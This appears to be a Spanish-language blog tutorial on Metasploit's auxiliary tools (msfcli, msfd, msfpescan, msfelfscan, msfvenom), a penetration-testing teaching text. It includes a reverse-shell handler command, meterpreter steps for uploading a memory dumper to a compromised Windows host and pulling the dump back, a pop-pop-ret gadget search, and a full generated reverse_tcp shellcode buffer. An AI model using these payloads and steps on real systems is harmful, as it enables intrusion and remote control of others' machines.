La consola de metasploit framework permite ejecutar pruebas de penetración, recolección de información sobre un objetivo determinado, explotación de vulnerabilidades concretas, etc. Sin embargo, en pocas ocasiones se menciona las utilidades adicionales que se incluyen en este framework, comandos bastante útiles que permiten extender un poco más las funcionalidades de Metasploit, en esta entrada se intentará indicar cuales son estas utilidades y su uso (En este caso se omitirá msfconsole, msfencode y msfpayload dado que se han explicado en una entrada anterior aquí y en múltiples entradas de este blog)
UTILIDADES DE CONECTIVIDAD
msfcli
Se trata de una utilidad que ejecuta una instrucción del framework, funciona del mismo modo que msfconsole, con la diferencia que con éste comando se deben establecer en una sola linea todas las opciones obligatorias y/o opcionales de un exploit o auxiliary, un ejemplo valido podría ser:
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4444 E[*] Please wait while we load the module tree…
o 8 o o8 8 8 ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P 8′ 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8 8 8 8 8. 8 8 8 ‘Yb. 8 8 8 8 8 8 8 8 8 8 `Yooo’ 8 `YooP8 `YooP’ 8YooP’ 8 `YooP’ 8 8 ..:..:..:…..:::..::…..::…..:8…..:..:…..::..::..: ::::::::::::::::::::::::::::::::::8::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::: =[ metasploit v3.8.0-dev [core:3.8 api:1.0] + — –=[ 685 exploits – 375 auxiliary – 40 post + — –=[ 217 payloads – 27 encoders – 8 nops =[ svn r12557 updated Today (2011.05.06) PAYLOAD => windows/meterpreter/reverse_tcp LHOST => 192.168.1.33 LPORT => 4444 [*] Started reverse handler on 192.168.1.33:4444 [*] Starting the payload handler… |
Aquí se ha indicado un exploit con un payload y sus correspondientes opciones obligatorias, al final del comando se ha indicado el modo de ejecución, en este caso se ha indicado E (Execute) los modos disponibles son:
Usage: /usr/local/bin/msfcli <exploit_name> <option=value> [mode]=================================================================Mode Description—- ———–
(H)elp You’re looking at it baby! (S)ummary Show information about this module (O)ptions Show available options for this module (A)dvanced Show available advanced options for this module (I)DS Evasion Show available ids evasion options for this module (P)ayloads Show available payloads for this module (T)argets Show available targets for this exploit module (AC)tions Show available actions for this auxiliary module (C)heck Run the check routine of the selected module (E)xecute Execute the selected module |
msfd
Se trata de un demonio metasploit que genera un listener en un puerto definido (por defecto 55554) y da a cada uno de los clientes conectados su propia interfaz de consola, todas estas consolas (clientes conectados) comparten la misma instancia del framework, como nota adicional, el demonio generado en el puerto especificado es “sin autenticado”
msfd -p 55666 -s -f[*] Initializing msfd…
[*] Running msfd… |
Las opciones de este comando son:
msfd -hUsage: msfd <options>
OPTIONS: -A <opt> Specify list of hosts allowed to connect -D <opt> Specify list of hosts not allowed to connect -a <opt> Bind to this IP address instead of loopback -f Run the daemon in the foreground -h Help banner -p <opt> Bind to this port instead of 55554 -s Use SSL |
UTILIDADES PARA DESENSAMBLAJE DE PROGRAMAS Y ANALISIS DE MEMORIA
Las utilidades para análisis de memoria se centran principalmente en el “desensamblaje” de un programa ejecutable determinado para posteriormente analizar variables y posiciones de memoria en código maquina (ensamblador). Esta es una de las actividades que realiza cualquier investigador de vulnerabilidades sobre un programa determinado.
NOTA: Si el lector no comprende los conceptos aquí indicados y realmente le interesa conocer más sobre Assembly/Ensamblador se recomienda estudiar con detenimiento las entradas correspondientes a los conceptos básicos de programación en Assembly desde la primera parte aquí
Ahora para realizar las tareas anteriormente mencionadas, se puede utilizar herramientas tales como findjmp2, windbg, memdump, etc. que se detallarán con mayor profundidad en próximas entradas, sin embargo para este fin desde metasploit se cuenta con los comandos msfpescan, msfelfscan y msfmachscan que se explicarán a continuación.
msfpescan y msfelfscan
msfpescan es empleado para escanear ficheros ejecutables Windows o DLL’s y encontrar instrucciones de código máquina sobre una imagen de memoria, mientras que msfelfscan realiza las mismas tareas pero sobre programas ELF en Linux. Para generar una imagen de memoria se puede utilizar el script memdump que se ha indicando en entradas anteriores, para ver su uso aquí.
Para seguir un enfoque practico propondré realizar los siguientes pasos para explicar su uso:
- Obtener una consola meterpreter por medio del uso de alguna de las técnicas de pre-explotacion.
- Una vez se cuenta con una consola Meterpreter, subir el fichero memdump.exe al objetivo utilizando el comando upload de meterpreter.
meterpreter > lpwd /opt/metasploit3/msf3/tools/memdump meterpreter > upload memdump.exe [*] uploading : memdump.exe -> memdump.exe [*] uploaded : memdump.exe -> memdump.exe |
- consultar el proceso correspondiente al programa que se desea analizar por medio del comando ps desde la consola Meterpreter, para efectos de ejemplo, el PID objetivo es el: 508.
- Ejecutar el programa memdump indicando el PID del programa para el volcado:
meterpreter > execute -f cmd -i Process 1180 created. Channel 4 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\>memdump.exe 1864 memdump.exe 1864 [*] Creating dump directory…1864 [*] Attaching to 1864… [*] Dumping segments… [*] Dump completed successfully, 292 segments. |
- Después de realizar el volcado anterior, se ha creado un directorio cuyo nombre será el PID del proceso, se procede a descargar dicho directorio:
meterpreter > download 1864[*] downloading: 18640010000.rng -> 1864/00010000.rng
[*] downloaded : 18640010000.rng -> 1864/00010000.rng [*] downloading: 18640020000.rng -> 1864/00020000.rng [*] downloaded : 18640020000.rng -> 1864/00020000.rng [*] downloading: 1864011c000.rng -> 1864/0011c000.rng [*] downloaded : 1864011c000.rng -> 1864/0011c000.rng |
- Finalmente con toda la información del volcado, es posible utilizar el comando msfpescan, las opciones disponibles en este comando son:
msfpescan -h
Usage: /usr/local/bin/msfpescan [mode] <options> [targets]Modes:-j, –jump [regA,regB,regC] Search for jump equivalent instructions-p, –poppopret Search for pop+pop+ret combinations-r, –regex [regex] Search for regex match-a, –analyze-address [address] Display the code at the specified address
-b, –analyze-offset [offset] Display the code at the specified offset
-f, –fingerprint Attempt to identify the packer/compiler
-i, –info Display detailed information about the image
-R, –ripper [directory] Rip all module resources to disk
–context-map [directory] Generate context-map files
Options:
-M, –memdump The targets are memdump.exe directories
-A, –after [bytes] Number of bytes to show after match (-a/-b)
-B, –before [bytes] Number of bytes to show before match (-a/-b)
-D, –disasm Disassemble the bytes at this address
-I, –image-base [address] Specify an alternate ImageBase
-F, –filter-addresses [regex] Filter addresses based on a regular expression
-h, –help Show this message
- Para generar el programa “crudo” en Assembly con la información obtenida del volcado anterior, podemos ejecutar el comando de la siguiente manera:
msfpescan -p -M /home/adastra/1864/ > /home/adastra/firefox.txt |
- El contenido del fichero generado por esta utilidad tiene la siguiente forma (recordar que se ha especificado la opción -p por lo tanto solamente se mostrarán las instrucciones pop/ret:
0x08a600b6 pop ebx; pop ebp; ret0x08a600d5 pop ebx; pop ebp; ret0x08a6019a pop ebx; pop ebp; ret0x08a601b9 pop ebx; pop ebp; ret0x08a61311 pop ebx; pop ebp; ret0x08a613ca pop ebx; pop ebp; ret
0x08a613e9 pop ebx; pop ebp; ret 0x08a614ae pop ebx; pop ebp; ret 0x08a614cd pop ebx; pop ebp; ret 0x08a61742 pop ebx; pop ebp; ret 0x08a61761 pop ebx; pop ebp; ret 0x08a61826 pop ebx; pop ebp; ret 0x08a61845 pop ebx; pop ebp; ret ……………….. |
msfvenom
Se trata de una utilidad bastante reciente (actualmente se encuentra disponible en la versión 3.8 de Metasploit) y consiste en la integración de la utilidad msfpayload y msfencode pera generar payloads, en realidad es un mecanismo bastante útil para evitar utilizar “pipes” cuando se desea generar un payload y codificarlo posteriormente, esta utilidad tiene los atributos necesarios para realizar esta tarea, una de las principales ventajas de su uso (a parte de la estandarización de las opciones por linea de comandos) es que la generación de los payloads con esta herramienta es mucho mas rápida y segura.
Las opciones disponibles en este comando son las siguientes:
./msfvenom -hUsage: ./msfvenom [options] <var=val>Options:-p, –payload [payload] Payload to use. Specify a ‘-‘ or stdin to use custom payloads
-l, –list [module_type] List a module type example: payloads, encoders, nops, all -n, –nopsled [length] Prepend a nopsled of [length] size on to the payload -f, –format [format] Format to output results in: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, vbsmem, loop-vbs, asp, war -e, –encoder [encoder] The encoder to use -a, –arch [architecture] The architecture to use –platform [platform] The platform of the payload -s, –space [length] The maximum size of the resulting payload -b, –bad-chars [list] The list of characters to avoid example: ‘\x00\xff’ -i, –iterations [count] The number of times to encode the payload -x, –template [path] Specify a custom executable file to use as a template -k, –keep Preserve the template behavior and inject the payload as a new thread -h, –help Show this message |
En este caso la opción -e (–encoder) es valida para especificar que encoder se debe utilizar para codificar el payload generado, -i (–iterations) para indicar el número de iteraciones que se deben realizar en el proceso de codificación, etc.
Como puede verse todas las opciones cuentan con lo necesario para sustituir el caso “pipe” entre msfpayload y msfencode, un uso básico podría ser:
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4444 R -e x86/shikata_gai_nai -i 3buf =»\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52″ +»\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26″ +
«\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d» + «\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0» + «\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b» + «\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff» + «\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d» + «\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b» + «\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44» + «\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b» + «\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f» + «\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29» + «\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50» + «\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05» + «\x68\xc0\xa8\x01\x21\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10» + «\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff» + «\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a» + «\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40» + «\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff» + «\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff» + «\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3» |
Muy buena info
Me gustaMe gusta